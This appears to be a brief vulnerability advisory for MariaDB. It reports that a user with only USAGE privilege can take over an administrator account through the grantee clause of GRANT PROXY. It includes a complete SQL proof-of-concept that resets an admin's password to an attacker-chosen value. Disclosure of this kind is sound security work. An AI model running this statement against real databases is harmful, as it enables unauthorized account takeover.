MariaDB GRANT PROXY permits unauthorized authentication changes and administrator account takeover

An authenticated MariaDB user with only `USAGE ON *.*` can change the password of an existing administrator through the grantee clause of `GRANT PROXY`.

GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');